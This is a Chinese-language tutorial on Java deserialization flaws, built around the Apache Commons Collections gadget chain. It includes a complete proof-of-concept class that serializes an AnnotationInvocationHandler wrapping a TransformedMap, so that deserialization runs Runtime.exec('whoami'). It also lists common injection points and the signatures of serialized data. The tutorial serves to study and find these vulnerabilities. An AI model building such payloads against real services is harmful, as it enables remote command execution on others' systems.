基础知识点
1.序列化和反序列化原理
Java.io.ObjectOutputStream //序列化实现方法-->从这个目标流写的和输出的都是序列化
java.io.ObjectInputStream //反序列化实现方法-->从这个输出流写的和输出的都是反序列化
//相关步骤
对象序列化步骤
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
反序列化
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
//核心导致的原因:反序列化处理中会调用被恢复对象的readObject方法,因此就想办法把这个变成可控的
//一个完整的
import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls ";
// 将序列化对象写入文件object.txt中
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.txt中读取数据
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
2.关键类与函数
TransformedMap
特性:类中数据发生变化时,会触发transform()函数对该对象进行自动化转换。
transform()调用-->TransformedMap.decorate()进行转换
第一个参数 代转换的Map对象
第二个参数 Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数 Map对象内的value要经过的转化方法
Transformer:存放我们要执行的命令
ChainedTransformer
:
1.会挨个执行我们定义的Transformer,即实现链式的transformer转换
2.将一个对象转化为常量,并返回。
AnnotationInvocationHandler:(这个地方就是进行重写的)
对memberValues的每一项调用了setValue()函数。
完整的利用链
根据上面的知识点
一个完整的利用链就出来了
//1.挖掘思路
触发点、中继点、执行点
//2.执行点构造方法
1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)实例化AnnotationInvocationHandler,并对其进行序列化(这里作用是进行重写,进而在调用这个接口进行处理)
4)当触发readObject()反序列化的时候,就能实现命令执行。
例子demo
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class POC_Test{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami" }
//new Object[] { execArgs }
)
};
//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);
//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
//Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}
/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
*/
挖掘常见点
1.漏洞常见触发场景
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化。
4)JMX 同样用于处理序列化对象。
5)自定义协议 用来接收与发送原始的java对象。
2. 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
java反序列化基础
补充知识点
①反序列化相关的库
json的
1.fastjson,flexson,genson,json-io(json的)
2.jackson与XStream(xml,json)
②相关的反序列化函数
Object.readObject()
Object.readResolve()
Object.finalize()